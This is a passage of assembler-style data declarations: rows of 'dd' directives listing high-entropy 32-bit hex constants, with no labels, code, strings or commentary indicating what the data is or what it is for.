dd 23111C1Fh, 2470C5ECh, 2370B37h, 6D8B91DBh, 5AE79C68h
dd 822B4081h, 7305675Ch, 8C20588Dh, 0AC05F32Eh, 0A7262718h
dd 448CB3Ch, 0A0E5F105h, 0E002DECCh, 2BDC730Bh, 0D93C790Dh
dd 1CF419BEh, 0B2A0775h, 90048F9Dh, 5CC7CC21h, 0DC3FD32Ch
dd 38833613h, 6547C848h, 80254A90h, 6DF88374h, 0C3A00097h
dd 3B35FC53h, 0E7807284h, 15407E11h, 0BD2F80B2h, 0C48065C7h
dd 5738610Ch, 0F7E17E31h, 5EB98FE8h, 0F08025Fh, 94D055CCh
dd 0F082E109h, 9EA8D0A9h, 0B4CA44F4h, 9400617Ch, 3C97F4F1h
dd 590770h, 8D21BF4Bh, 559E4579h, 3F0CC17Bh, 4965F106h
dd 0A4C918B1h, 0F8234064h, 0F3D3D12Dh, 1CF0EB8h, 58550090h
dd 0C502443Eh, 94BD1F72h, 43DD7D7h, 1365F774h, 0E3DD048Bh
dd 64251700h, 0E61B4051h, 0A71126ECh, 0E1BF0460h, 0B234B45Ah
dd 3D3C3F5Dh, 3941E05Dh, 2487CBDh, 0EE104DBCh, 10E1A1ECh
dd 3E218F7Eh, 21076B23h, 6FCF98C4h, 0CC17A884h, 0E2E4A443h
dd 23D04645h, 751E27AAh, 2A896811h, 24FD604Eh, 10E424E1h
dd 1D81401Ah, 8397F5FAh, 22FCF14h, 68976659h, 265D8C5Dh
dd 84974E4h, 6091F5E7h, 3185CF0Dh, 0BFF13441h, 82298A00h
dd 0C402CC5Fh, 5A1C04E7h, 5E60B600h, 97B18F7h, 2F426323h
dd 0E1058068h, 0B1BF8D25h, 87086124h, 44AFC894h, 9169048Ch
dd 0C3838B75h, 989A809Bh, 19A08257h, 0C2F7005Fh, 0B925DD1Ch
dd 0F5D4EA26h, 433B3C21h, 8540402Ch, 0B24011A0h, 601E67E8h
dd 0D1474012h, 8B52D3DBh, 40C33F9Ch, 0E3AA2D73h, 0CB27E880h
dd 0E4261618h, 9C161009h, 48D758E4h, 78C09042h, 0CECA9767h
dd 58695CEAh, 0C058EDC9h, 0E4246579h, 2E1BBD0Fh, 0D84EAC8Ah
dd 0C8D200D0h, 763362CFh, 0B31E916Dh, 0F970B253h, 5E2BB7C5h
dd 62D8D2D2h, 9460E8F6h, 147257A7h, 0E409E67Dh, 0A63F6112h
dd 449FE088h, 0F94802E0h, 0AB916F15h, 4BDFE4E0h, 75784EBDh
dd 0DD61446Bh, 0BF0151EAh, 8478F69Fh, 8052C64Ch, 0AC905F42h
dd 2FF969D6h, 0BAA0CCh, 1297CC5Eh, 36E3F5F6h, 0AF405705h
dd 9C40495Ch, 29F1B7CAh, 42FA3Eh, 41957EF5h, 0ACE1BDD8h
dd 54B30809h, 40909174h, 8A091020h, 9401A080h, 4713CD72h
dd 80B01E3Bh, 0C5A02F0Fh, 0FB4E28D0h, 40B584D2h, 0E353FFh
dd 6EA99D61h, 0C7DEEB34h, 5CB6430Bh, 62B017Ah, 8D6F7326h
dd 14162BCCh, 0BBF0F0A0h, 7CC52764h, 3E614C64h, 0C084D169h
dd 0B4848CA9h, 406E2734h, 0F5CC221Dh, 0C8A51813h, 0A288802Fh
dd 1492DBB6h, 0B5847D4Ah, 8C8A1497h, 0DF5CAD80h, 4EEDB807h
dd 5D5883ECh, 881CCFA5h, 5B82C071h, 3000A78Fh, 0E6672811h
dd 25DA2C31h, 0C0905E64h, 0EE887102h, 4271C46Dh, 0D7108825h
dd 980A055Fh, 5942D478h, 47BB24ACh, 3120960Eh, 0C34BE2h
dd 52CB4F7Ch, 0B932E67Bh, 9F985A05h, 78436112h, 80301DA3h
dd 13B66D15h, 3064D57Ah, 713D35A4h, 0B66EB380h, 394676E4h
dd 0F0C0A03h, 0E925E9F4h, 5C9C32DDh, 0C465674h, 9058CC07h
dd 70F7D334h, 52A488BDh, 7FE55C00h, 4B05DBF3h, 5F7812B8h
dd 1BAC3087h, 9400DE2Ah, 0E4C83202h, 6C91C0h, 0B5DB9748h
dd 0A7B723E2h, 0E47650AAh, 0E13802DCh, 62833474h, 18026879h
dd 70EF5CD5h, 0A5FB22B0h, 871FCE00h, 0FC93B3A3h, 314BFDh
dd 0B78D7CBCh, 17954234h, 81379150h, 9844E55Bh, 43C09030h
dd 99EC2246h, 1837D178h, 566F12CAh, 5484B048h, 10BA9451h
dd 0D0471280h, 7B29AAB0h, 0CA8084CBh, 54BFED0Dh, 0F2E64BB4h
dd 7B392504h, 0DB67084h, 477F5FEh, 0FC2AF705h, 0B458F9C5h
dd 1112A798h, 3B61EC96h, 0B095809Ah, 0F72E6635h, 0E7DCA9E6h
dd 0E47B72F8h, 0D0AB4AC2h, 424D84F0h, 0C189769h, 4B7C19CCh
dd 65B82073h, 0C7F0FE2Eh, 60B6352Fh, 5FF885A0h, 1298B015h
dd 7A821810h, 2F8C9B75h, 0B4A69BF8h, 0E9268525h, 509EC560h
dd 6D4A2062h, 0AD1480F3h, 8C581C82h, 385E111Ah, 0DB2548F1h
dd 6CFA70ACh, 0E4055DFCh, 2C152ADBh, 0E20404B2h, 0B808C3E6h
dd 1F252F74h, 8F3C112Ch, 0D0CBE0ABh, 0B9D4E623h, 96F29D3Ch
dd 281020A0h, 3CE90A03h, 6AAEB4F0h, 0AD660020h, 0CA0524D8h
dd 23201370h, 9B3CBC84h, 0ED47E002h, 5E3A03F4h, 0CF7746B1h
dd 0C90A96C0h, 78E61798h, 0A05C7B2Fh, 85D92254h, 5BA50966h
dd 24741540h, 929B780h, 4A35C60Eh, 8374070Ah, 0B7762543h
dd 0ECAA1058h, 99213F82h, 757D161Ch, 0A01060EEh, 2D17C67Bh
dd 94B0777Eh, 0C0649DBCh, 10F02495h, 0ECD22142h, 0A56F032Fh
dd 9659810Fh, 3898742Dh, 0C69541E0h, 6F65048Ch, 0BE988BACh
dd 5B59A842h, 6078DB3Fh, 49A4D226h, 89F038A6h, 3725C480h
dd 0C0F82E9Dh, 1E1DDFB5h, 0ADC00B7h, 172923D1h, 0BD2DF0AAh
dd 2F7C40C4h, 281AACA0h, 60A8A649h, 0A083A2E1h, 0C6A1CF4Bh
dd 531AE665h, 0A46421ACh, 65E3D048h, 908220A5h, 2398DC5h
dd 6858A615h, 0E54F88F8h, 0E22EE080h, 5320B0CBh, 0B2287021h
dd 13708090h, 4A074856h, 0DC23B113h, 625DAFB4h, 0F3B820h
dd 1F219CFBh, 42838D92h, 0A570109Dh, 0D0F60B6Eh, 9100B02Eh
dd 70FF1BEAh, 77635600h, 0FC25E501h, 0FBFE1CD7h, 0FA8E4979h
dd 0FB732CFBh, 0AA5CF09Eh, 4F210054h, 7833E629h, 90265984h
dd 0C700F67Fh, 0D41F055Dh, 220B00F3h, 6550289Bh, 6030DC6Ch
dd 3E4721BCh, 0E7FA0491h, 80E3224Bh, 357FD8A0h, 8025E2E8h
dd 0C05296h, 4E17A6E6h, 650F2B8Dh, 78DF6A00h, 487F1B6Eh
dd 0E247003Dh, 0E1C64C96h, 0B33B376Fh, 60AF0B79h, 433A00A2h
dd 98CCC215h, 6F0E22A8h, 3B21CB0Bh, 73CCE096h, 0B78400C5h
dd 0D3B842CFh, 0FCB220D1h, 0E104C490h, 0A47DC9E2h, 0A0942BFFh
dd 1BB87486h, 83A0E06h, 5D022BE2h, 5A8C020Fh, 2378D02h
dd 0E70FFAD2h, 55C2B69Ch, 3D4840BAh, 0FE08C6AAh, 85371899h
dd 0D4262828h, 0C6C0EC18h, 1826D508h, 8098A31h, 0DF015B38h
dd 0AE48033Dh, 0BA92028h, 10C28B31h, 9A01E78Fh, 0D9B101A3h
dd 0E5F8088Ch, 10C6CDB1h, 2008F632h, 5131F544h, 50F22054h
dd 0E2EB0888h, 0C416108h, 0BEB09AA2h, 59C3F9C4h, 4270204h
dd 0A5044D46h, 2D360675h, 250B2008h, 0F9F7AD33h, 0C6101801h
dd 5E9508FBh, 801AC880h, 0F8133C2h, 94894195h, 10407210h
dd 0F119D8A6h, 888610FCh, 0C210231h, 7020ACCDh, 0C496E140h
dd 0C7D99A9h, 62EB5960h, 3583082Eh, 3E85C02h, 4010F132h
dd 0D1812C4h, 0C1C310CEh, 4BF08C6h, 0FE9F2018h, 20C9FF20h
dd 0A0654E5Eh, 8C4654A9h, 2020AD83h, 0E17D4B76h, 0F188C081h
dd 820813F9h, 5C350CE9h, 0E3405008h, 0FE76400Eh, 923F0340h
dd 0AF2C2024h, 8F31531h, 2088385Ch, 5B15A16Ch, 63BC48ACh
dd 10DB8F08h, 10E44618h
dd 432A52DCh, 0FFBE20C8h, 708074EEh, 24778109h, 5040A320h
dd 87BC400Dh, 0AA100A63h, 0AB081811h, 58C818CBh, 80777580h
dd 8CA1547h, 0FB88E41Eh, 0A11419F9h, 73A05371h, 0A866917Bh
dd 20510410h, 393305E3h, 31A06941h, 0AA694048h, 4BFD0233h
dd 3EEBA0Ch, 101BA263h, 19B1948Eh, 83FDEA9h, 32CC5165h
dd 16D052F8h, 372B902h, 1818C362h, 4308A660h, 229B80ABh
dd 28A3ECAAh, 182AD749h, 9D2A98A6h, 16FDF00Eh, 81A863B1h
dd 3010D029h, 0BB104790h, 128B1045h, 20A71D18h, 8CAA427h
dd 0A95DC6Dh, 899831D4h, 52032193h, 4C361924h, 10E4FD95h
dd 0D01027A2h, 0A1DA3156h, 4B02131Eh, 0FDE03468h, 242108C9h
dd 80910EF8h, 8D023E9Ah, 83DEC48h, 0C4BF8580h, 4195220h
dd 0EB0440B4h, 0D5700459h, 0C291BD0Ch, 0E5C4F812h, 0BC3BCB4h
dd 0E378D7D9h, 81BAD4A7h, 80D6A0EFh, 283A5310h, 2470B5Bh
dd 19482F4Eh, 1CE90FD1h, 9FDC40C9h, 3C004D37h, 6A96EF47h
dd 74295CC6h, 10FE1701h, 8090E852h, 4255D491h, 15440F17h
dd 0DBA1DF95h, 0D03C267Ch, 3018BCC1h, 4061645Ch, 19883ACCh
dd 0D0C92712h, 46EAE560h, 6E064B03h, 37F7A4h, 0F4D663B0h
dd 84B30DD3h, 0D7682003h, 0E8224349h, 0B4B88h, 79B543Ah
dd 26574E27h, 508CBA06h, 15878E0h, 0CF3F0985h, 7114C27Ch
dd 3978BC88h, 7810E09Ch, 2F8660E6h, 0A8D2598Dh, 3018C87Fh
dd 5C08C731h, 0B8536F1Ah, 0EE6FD280h, 8500ABE8h, 0D6774029h
dd 6A577Bh, 7C03FC97h, 1D8C4218h, 9C160600h, 0B4525E56h
dd 0FF8B30C9h, 3F018570h, 6F8215Ch, 905DCF5Fh, 29100F18h
dd 1DFF2E66h, 34EA948Ch, 753F6105h, 0FD9420D0h, 0AC30CCECh
dd 0A50D3883h, 4F9D28E1h, 782000FCh, 0E64C6D0Fh, 0A800F134h
dd 1DB54014h, 259BD78Ah, 4782596h, 815C710Ch, 3B4F08Dh
dd 0E80159A7h, 481E58F6h, 5B16808Fh, 854014C7h, 2D82FF5Fh
dd 88E047C9h, 404E5C80h, 7C65E480h, 0FBDD3D67h, 50FC00F4h
dd 0E86CD686h, 99CE7390h, 744D4143h, 58805BCEh, 0AE4BEEC7h
dd 0E9066477h, 7338E67Dh, 1DA33AE0h, 300C7F80h, 8B0874DAh
dd 3C16967Ch, 80A06AE1h, 281274A7h, 2A42729h, 0D1535723h
dd 0D886D4C7h, 0C63CD911h, 20E413A4h, 0BA877C93h, 4ACE0C3h
dd 2C0231EEh, 6C927BC0h, 0B5CF171Ch, 8D0060ACh, 0C1737DB3h
dd 1A008A21h, 6FC9C7A0h, 1A5E4FCEh, 28D8C6CFh, 0E7EC00FFh
dd 7BE861E5h, 91F0C0BEh, 29B70128h, 9CAC3150h, 0A7BCD40h
dd 0A72096E6h, 865807E4h, 8B089C80h, 4A60A104h, 14901FA0h
dd 0D8204011h, 0FB529099h, 0F0342E4h, 0BA8AD560h, 0C61114FCh
dd 21C6749Ch, 197990C8h, 0E0891483h, 0E52628ECh, 0B4422781h
dd 34F410FDh, 21654B61h, 843326B4h, 1D9CDD10h, 7038C080h
dd 5D8A2519h, 5C867854h, 0EB408573h, 91073879h, 8A300E10h
dd 0F88617C8h, 7BA71C7Ch, 0CF44AB41h, 0E987F449h, 8C66E857h
dd 0E20E2768h, 205A7C1Fh, 308E2FCDh, 86280B14h, 0B4E0D7E5h
dd 98A240FDh, 0BFA68C83h, 9EA88DA4h, 34D87BE9h, 6F1ECF50h
dd 5C42F003h, 0F8A20E14h, 2F000A9Bh, 0D50139h, 60FB21E1h
dd 3CDA108Ah, 0DD14D278h, 4898F4D9h, 0E015CE24h, 0ECF7FBB5h
dd 9FAD305Ch, 0AEBDEF0h, 54FFE500h, 21B69C43h, 80D891E1h
dd 97CE8630h, 38002D4Bh, 17218E3Bh, 459BC37h, 0CCEE64F8h
dd 8CE8B00Ch, 0B4E86312h, 4048E842h, 0B850609Fh, 0DD89205Bh
dd 91535C00h, 7A6A2E32h, 0A49C0098h, 0CA29D32Ah, 0B400706Eh
dd 0C80C9057h, 2D2E75EBh, 70416CE1h, 28683DABh, 0F8C05021h
dd 85C7886h, 0C090A379h, 3528ACDh, 7ADDBF0Ch, 0B81D7E0h
dd 972C3085h, 24606B48h, 8A6038E5h, 0D519FCh, 0A19F7B46h
dd 9481EB28h, 6BD23Eh, 61C48A75h, 50ABCF4Ch, 9FCDFh, 6D21525Bh
dd 1B11453Dh, 29CE0E00h, 0F5EBCDC7h, 0E86B008Ah, 9074B4BAh
dd 0E899DEC9h, 2F13F820h, 0D82070EDh, 92A02BE8h, 0C1BC8C20h
dd 0EE5C7AD8h, 122887B4h, 2F47309Bh, 427983C2h, 0B940621Ch
dd 0C23BA48Ch, 835F6754h, 26D6B17Ch, 0A43410h, 8C0817CAh
dd 0E83A4785h, 0B8ACD4F3h, 27A7112Ch, 8026590Ch, 0A36A0463h
dd 8071CCB1h, 54E18984h, 27881167h, 0B3E87CB3h, 0C8B90F70h
dd 0F841AAACh, 4434AE5Ch, 0FB881C4h, 71942418h, 2B2064B0h
dd 7440EBDCh, 27421665h, 0FC52AE8Eh, 267CDA4Ch, 0E18674C9h
dd 4918C0BFh, 9368E0h, 0CED14A84h, 0E514AD81h, 0D29C2E51h
dd 1CAFF00Ah, 6C87E110h, 60A1294Bh, 3A0F8648h, 0F27588C1h
dd 0B0012425h, 60301025h, 317D027Ah, 9CF4C98Ch, 8060C0CAh
dd 0BD3E5448h, 7C4D7FF8h, 51AE0270h, 4069EA23h, 0FDEF138h
dd 430E5298h, 8EF0Ah, 0AB1BEE74h, 566415E5h, 380028B1h
dd 3EB3508Fh, 71422F5h, 67C0A1Ah, 290087C9h, 84DE14D8h
dd 2F715D0Ch, 1B008E10h, 0FE07E4BAh, 0AB3E7Bh, 3CA8DBE6h
dd 316B78DCh, 0CBDD3Ah, 39EB2709h, 1C8AEA94h, 470DE2E5h
dd 1A4BE1BFh, 867E09E4h, 90552C09h, 3538AE0h, 0D7C156E4h
dd 0BBC1F059h, 131192EDh, 0E1CC4801h, 408778C8h, 8235EE2Fh
dd 862B202h, 0A155625Dh, 2984365Ch, 663F7C27h, 22456863h
dd 677194B0h, 2B7FAC2Ch, 0D4E8161Fh, 0EB131971h, 4B0023D3h
dd 0A1E7E475h, 2B0E0476h, 0C5DDCBA7h, 807095ADh, 944F97D4h
dd 0E11628EEh, 5C41452Ch, 0B91C5C77h, 1EB4034h, 8C6D47F1h
dd 0C8D9CDC6h, 7802E989h, 0E0510D93h, 6E0882E5h, 0FCD088FAh
dd 820ECF85h, 878BD00Bh, 893F2FB8h, 84C476DDh, 0C1E61BA7h
dd 22A18D98h, 84832C68h, 0E1AF0D60h, 9CAA49E7h, 23D2007Dh
dd 0DB373639h, 0E6583084h, 0C4FB2810h, 0AA403E77h, 0E12F0D14h
dd 7338DD32h, 863263Ch, 0C8418A8h, 0C8C1320Ch, 0FCCFA890h
dd 162C92EDh, 32E6E05Bh, 5481BBCCh, 2D5E8h, 0C5ACE7Ah
dd 1CD8CF45h, 4202D238h, 5C5F1576h, 9C6A44h, 0B367C394h
dd 0D7C9EBA3h, 1983430h, 36E3BD10h, 0D492CED9h, 48B8A432h
dd 786D803h, 0BC65E80Ah, 0C28A1080h, 0F11439CCh, 7C14B848h
dd 13C09C8Eh, 3B3D65E1h, 0CCB09492h, 8355DA00h, 1F1D4918h
dd 0C0987ACCh, 0B25825A0h, 1B6738C9h, 8BE78010h, 7344B984h
dd 0E5F8C3EEh, 0A80BA7FBh, 9AE2FCAh, 5B0405D0h, 0E67EB801h
dd 64001862h, 0D40F76EDh, 0B2F55542h, 0EF4C3C07h, 0EEA772F0h
dd 0B4C71436h, 25102C30h, 0E1A21DDBh, 61E3273Ch, 8428EF68h
dd 55CF6061h, 1724821Eh, 0D4A78FBEh, 60703EC4h, 9BD51894h
dd 411FBC78h, 3189E9E4h, 39C0E77h, 0AB5E59CCh, 0A1E81261h
dd 670C096Ch, 0FC790060h, 814FE50Ah, 0E4AAF43Fh, 7CC5D300h
dd 0D55C8E4Ah, 0DA650748h, 82721359h, 9C432AFEh, 8373C7DCh
dd 10126A0Bh, 1032E2E0h, 0B62E10AFh, 45098A1h, 9132E891h
dd 54B56C00h, 7BAC4882h, 15C31C9Eh, 7E3D817Ah, 28C65D25h
dd 5EE81770h, 92D96442h, 7C000B65h, 5ACDDBAAh, 0E82C22FEh
dd 2D10500Eh, 97430300h, 528DB390h, 35715505h, 0F48121D7h
dd 11A356BAh, 6D2D03C8h, 61123BE8h, 20993929h, 0F450984Bh
dd 5C760C25h, 65A0054Bh, 0A0506395h, 2BDD6B2h, 5BB17466h
dd 0B458DFEDh, 0E5D0AC66h, 0C8B45D11h, 8671B700h, 4B1EB544h
dd 80B97C39h, 9B3AB38Eh, 0B0E1C3CBh, 0C2E4AA8Eh, 208846FCh
dd 1A0015E4h, 7E11FDAAh, 3B1B985h, 168EC128h, 94C00FE3h
dd 1D00F2DCh
dd 72767FFFh, 0B067E8D5h, 0E6250C60h, 0E450EC82h, 1D7072F7h
dd 0D4E8D2CFh, 0E75C7D0Ah, 5289C068h, 1244409h, 7D3E56D1h
dd 70EBE1B1h, 7C00D22Ch, 8E782534h, 7DBFAC4Fh, 6184FE48h
dd 429BC05Eh, 59CE40D1h, 0CB7B5204h, 7F061C00h, 0A8EEA473h
dd 545C1246h, 0F32C4077h, 4F9F1385h, 40246A90h, 0E8062578h
dd 2850A91Bh, 20FC0897h, 790A70EAh, 6406E46Fh, 9A1F270Bh
dd 0E5B440FCh, 0F0A87135h, 905BF831h, 0C9B40C90h, 28F0192Fh
dd 6EE1BE16h, 847C0440h, 13753F09h, 7458E679h, 32D4C5D4h
dd 8A10BA7Ch, 0C5D532C9h, 54690F50h, 822D028Ch, 0C946B7E0h
dd 0A0F8489Ch, 7E452E1Ch, 0C0061298h, 30E34A0Ch, 7100ECB3h
dd 59A3F42Bh, 9407BAEh, 7F1BFC66h, 6D5CBC80h, 0C10CB28Eh
dd 987E6590h, 402D7964h, 832CAB8Fh, 0DF0F5CA0h, 119B8001h
dd 71B26C0Ah, 0C136387Bh, 444AA84Dh, 19F21E0h, 5AA37780h
dd 0D1D77840h, 73D30D0Bh, 686B0Eh, 58FA6F08h, 48007CB1h
dd 2FE85418h, 7DC98B8h, 0EDE5251Bh, 93604336h, 24B0C0B3h
dd 4049E2CAh, 130C5840h, 28885884h, 308C27C6h, 444B005h
dd 80186C90h, 1F604F78h, 0E6738104h, 0D0D0AB46h, 4381A8Ah
dd 0FD8231C2h, 4048874Fh, 259CE783h, 1F90C1B5h, 3FCC4DD9h
dd 4167255Dh, 6EC90081h, 92CDF8E4h, 8C6FFA09h, 8E08813h
dd 0CB5CCC02h, 64706814h, 0D9432ED3h, 4AB13084h, 20C72A3Ch
dd 0D05CBEE5h, 6B498E7h, 0FEE13176h, 7F12286Ah, 2030987Ah
dd 0FC311FC9h, 5D0D00BAh, 0C2D07F89h, 9000358Ch, 47CBEBE4h
dd 7272AE0h, 3BB76BE8h, 91FBC07Ah, 4F7C8321h, 9CA9C800h
dd 12FC36D2h, 0B50E3242h, 6466A170h, 48E5DE40h, 7B818C1Ah
dd 42AFEAE6h, 2864619Ch, 9C96CAF6h, 8240542Ch, 2CB88D43h
dd 0BB1415C9h, 0AD0CA481h, 0F0BDC82Eh, 70BAD439h, 5BCF70A0h
dd 87167C92h, 90044019h, 0DA02591Bh, 0B8877B63h, 0D0D564E8h
dd 9E92C768h, 36936E00h, 2B2F1545h, 0D3B30177h, 0E6764A7Fh
dd 0F8438ACh, 8072B5CAh, 71A68EABh, 0DA09046Ah, 0ADDD40F3h
dd 0F98F007Ch, 8E80E2FAh, 3FB80047h, 0F5C1F394h, 709C3073h
dd 0DA1950h, 2E79D061h, 48A6E1B8h, 600120B2h, 0E65537D9h
dd 2C7B99h, 0E3CCFF06h, 73A0E038h, 0A006923h, 0E5E40B6Bh
dd 1DC82C6Fh, 52379E54h, 72CB1CC7h, 0EC80BDF0h, 43A0950Fh
dd 421E1413h, 28702C13h, 592EE305h, 0DDDE3C59h, 14C180A4h
dd 5DCF40EAh, 4FC4F654h, 9F579801h, 80EE7C25h, 3080DC54h
dd 3BE3ABh, 0FDDF89BFh, 0DE8FD308h, 52553E00h, 91B2EACCh
dd 97CD5CCAh, 0B2149E24h, 0B8538338h, 853A4826h, 8E523815h
dd 0E80B18B2h, 0FCA90C56h, 7E127C43h, 50D83F69h, 35932E1h
dd 68511928h, 9BB64A02h, 0E3DC6010h, 0EB2780D7h, 9126047Ch
dd 0C100C574h, 84EAE505h, 80B50034h, 0E137FDA4h, 30C455EDh
dd 10CD2125h, 16E5B440h, 0DB80C515h, 0CBB480C7h, 0D14CC990h
dd 0C4404A40h, 6DE71E27h, 2740EAFEh, 9C606FE1h, 0D0495A4Ah
dd 169D10E0h, 7703FA02h, 0C47AD265h, 0C8907092h, 0DDE67109h
dd 973C00B2h, 6588F6h, 78E321F5h, 75CCEE1Ch, 0DC503B60h
dd 13F9442Ch, 40105C9Fh, 78DA2338h, 0B35CCDDDh, 9891C00Ch
dd 1D46CC28h, 1D8DC13Bh, 0C201D6E6h, 0F471CE40h, 0D77DEF0Fh
dd 0D5350420h, 0C01700DCh, 488DD004h, 0EE0CD813h, 70365A5Ch
dd 308400DAh, 8DE114C9h, 22002BAEh, 788F82E4h, 68EA765h
dd 475C7A1Dh, 40AC303Ah, 0A0D430C0h, 21244Fh, 929876E1h
dd 0D9E0388Fh, 0DFAFE500h, 6A7A45AAh, 0A0C4A04Fh, 0FB65803Ah
dd 9A290C90h, 0CF83A075h, 0D0FC5D21h, 55A1BE4h, 0A43E2EF0h
dd 16B08B1Ch, 0E880DEE8h, 0A48E79h, 9C201AD8h, 0DD72EA59h
dd 12AA7C2Fh, 5546660h, 6AE2D260h, 6ED0009Eh, 0FCDA71D9h
dd 0CD001670h, 0EA225A48h, 0ED94C9h, 90DE529h, 21605C80h
dd 0F0405882h, 61B86090h, 5FF6E2C5h, 64F9496h, 177116B3h
dd 8D7C862Fh, 155C2060h, 3680F860h, 0C920D0E1h, 5CE67E58h
dd 9EBDE0Bh, 536B8EFBh, 39BA6401h, 0D27029C7h, 4C4C7103h
dd 0CC130D5Eh, 0CC78E159h, 8604F698h, 63E1C58Ch, 77340BBBh
dd 5E89101h, 48108067h, 0E4E11510h, 2CDD81A3h, 0E67A041Ch
dd 0A8D1434Fh, 3457E1h, 0C2120425h, 0F09DC984h, 0B89ED2C0h
dd 0D9CC0A41h, 6C0C442Ch, 5DD8B779h, 420C525h, 20C42E7Ch
dd 600B34C1h, 6039CCD8h, 5C6E4007h, 48B4D485h, 348D8792h
dd 3D6E470h, 3FD06BB6h, 0A8277897h, 20A8AB79h, 0E93B4A9Ch
dd 0DC9914h, 46B6D075h, 970006FEh, 1BD6480Dh, 0E688D929h
dd 0B74B440h, 6CABFA30h, 58260865h, 1493C0ACh, 4C8DFB07h
dd 0C28588Bh, 125E39CFh, 9F40C8C1h, 8AFA01EAh, 0A344DF52h
dd 0A280700Dh, 0D3B2F400h, 0B1E86D25h, 2F08BA27h, 6C182984h
dd 940A6E9Bh, 0A00FE67Ch, 5C351980h, 15B1E35Fh, 18C31650h
dd 87B2CF3Ch, 4705D10h, 14954D20h, 0CCEABAE5h, 0D4DBC209h
dd 0D1E200EBh, 0E415BC48h, 10707CE9h, 0E70F2C69h, 0F9097BE2h
dd 600578A9h, 0FC88E085h, 0B08CF6C0h, 0C0A7F8E1h, 0E06FEB31h
dd 87012BCAh, 0B50D8B53h, 0BC79BCC7h, 24408A96h, 930373DCh
dd 90FA6880h, 0B72402B4h, 8790BCE8h, 0AED6B39h, 84D99BE6h
dd 0A1F0A900h, 359C8FCh, 0E861294Eh, 300B1B8Eh, 0CCECA7h
dd 5F07217Eh, 0EF2809B0h, 90877C66h, 7BE07FCFh, 5D10F393h
dd 2781CA25h, 0A5DE8254h, 0A0A07368h, 280C905Bh, 208C5897h
dd 7700D831h, 3069C0D6h, 386A35h, 6D1DEE24h, 925C2D08h
dd 1409805Ah, 8B0882A4h, 88A8D175h, 0C61474D2h, 13CBB28Ch
dd 681989A8h, 92EF260Ah, 0D401B5CFh, 7C495CC4h, 0A9D54080h
dd 0E2E85E2Ch, 488889B7h, 48275014h, 4AC77CC4h, 0D8C4E926h
dd 947E7100h, 0CCC42A23h, 0B8FB12E1h, 0E8AC2064h, 50CEA655h
dd 93BE7D71h, 4806274Ah, 7619224Eh, 0C994B686h, 1F9E3840h
dd 0CD8C0600h, 0E6745F45h, 3F0CBC1Dh, 84118981h, 934E985Ch
dd 0A8A47BC0h, 0F865137Ch, 0D5EC8850h, 8724014Ch, 19807718h
dd 1734B476h, 0CC0F70h, 0AEA6086h, 532E8B72h, 89150C01h
dd 79973F84h, 60962E2Ch, 0C8A8DF1Ah, 0B4508530h, 36E56194h
dd 805C78B1h, 0AF0272EDh, 0D9B80017h, 7E53BDCDh, 37767A56h
dd 50E6FCFDh, 9A329C90h, 0C0DF39ADh, 12B164C4h, 0B2911FC9h
dd 54CF0B60h, 0BC70606Dh, 0D38D0099h, 0FE1E07Bh, 0A71F0DB1h
dd 48F0DCE5h, 21B8FD0h, 0CC34656Fh, 7600D1A3h, 926133DDh
dd 405CB028h, 60A010E4h, 97416Ch, 6DF2E90Ch, 8F5D0983h
dd 6783CCC3h, 6CD8AE8Ah, 0E114206Fh, 90DBA5h, 32FDC8E0h
dd 0F8347445h, 184760DDh, 60E5CF78h, 5C3C2609h, 15876CDh
dd 71ACC98Ch, 84B07813h, 5716C619h, 0B72001CCh, 81EC97C9h
dd 0DC356618h, 93C4E2F4h, 0A6A49CA8h, 0BCA0A758h, 2F38E3A7h
dd 38F3BE7Eh, 44C14AD3h, 9C525191h, 157C59B0h, 314ADCE5h
dd 96816D14h, 9081EF60h, 1D00BF84h, 0E6107F06h, 0EC59E4A0h
dd 0A0112218h, 18B9AD44h, 30D720BBh, 0D610A1Ah, 214BE1A1h
dd 0A12FC00Eh, 25F27B01h, 511190h, 3ABF9C4Fh, 26357A7Dh
dd 4094E5E1h, 9482B0D4h, 6DAC9900h, 29D769ABh, 70884AFFh
dd 26386BE0h, 0D1E0E660h, 79FDF974h, 0C7BD1339h, 401077D4h
dd 5E55037Ch, 7A040A00h, 0AA5D08F1h, 1738BAAFh, 0C0FCE2EDh
dd 0C7E13ECCh, 0A7047C9Ch
dd 0EB80191Ch, 48EF5C70h, 0DB01282Dh, 0B16085DEh, 0C5D87063h
dd 0C8E3A831h, 8745239h, 3EB0C318h, 5F49AE6h, 68F230FCh
dd 5C096E21h, 28EC2253h, 4AB0C0D2h, 88000B5h, 7656BEAAh
dd 3B6224E8h, 40BB2659h, 0E8C36712h, 97A53C90h, 0CDCB2C0Fh
dd 131B2480h, 0E2C456Ch, 112D20BFh, 0F0570280h, 0E828C960h
dd 0D793000Ah, 0D5326BC3h, 1B04E5F4h, 5331E2C1h, 0D3EF4E1Dh
dd 0C9540E92h, 0A0485277h, 65527888h, 0D8E730C4h, 4CFAFC7Ah
dd 0CCD2C424h, 0BCB42580h, 10B02117h, 7D4604CEh, 0A06FC991h
dd 470C25DCh, 0E8B058E8h, 0F01F0027h, 0A4697D67h, 8D39A1E6h
dd 0F7528053h, 6FDBC1D2h, 2E3126FCh, 298E01BCh, 411FE4ECh
dd 60CC2138h, 714D706Ch, 0A138206Ch, 16715C98h, 60C2B802h
dd 2A0E6A40h, 44CC1076h, 0CBA8373h, 39257A20h, 814AFC78h
dd 8337135Ch, 83C9BD40h, 7B2024E4h, 531B00D0h, 370391D7h
dd 0F800FEFAh, 21B44622h, 0E6BA31Ch, 3DFC7E5Fh, 905C7C61h
dd 1C232BDFh, 6BD7D1CDh, 0CC209425h, 3AC8A0C8h, 0E8DCA388h
dd 18240Ah, 0CDC3BF22h, 0E42EB64h, 47016A7Bh, 7D41062Eh
dd 0CC28967Ch, 2C78FA87h, 645FE5D0h, 66A93080h, 2F401C46h
dd 183326EBh, 0D23F1817h, 0E70008ECh, 0E9E3273Ch, 7E335F54h
dd 0E851C4DDh, 0D810B090h, 1094F348h, 2C020FF5h, 89E45CEDh
dd 8AC2DCE8h, 7D106A78h, 360180FBh, 0E595DC15h, 0D04CFB63h
dd 862D18A0h, 0F0FF8F50h, 74DF1D59h, 8803D3C3h, 94984D60h
dd 0F720549Ah, 0FC255051h, 0EC8958B7h, 12490F10h, 0FC7584C6h
dd 26D83880h, 0F43D4CF3h, 183E6105h, 7AD0C043h, 6319C9E0h
dd 0B368539Bh, 0CC691C35h, 12F6AE84h, 0A3FE7C00h, 69CC6B9h
dd 77D9895h, 10B856A5h, 0A827FCECh, 88254160h, 86AC053Ah
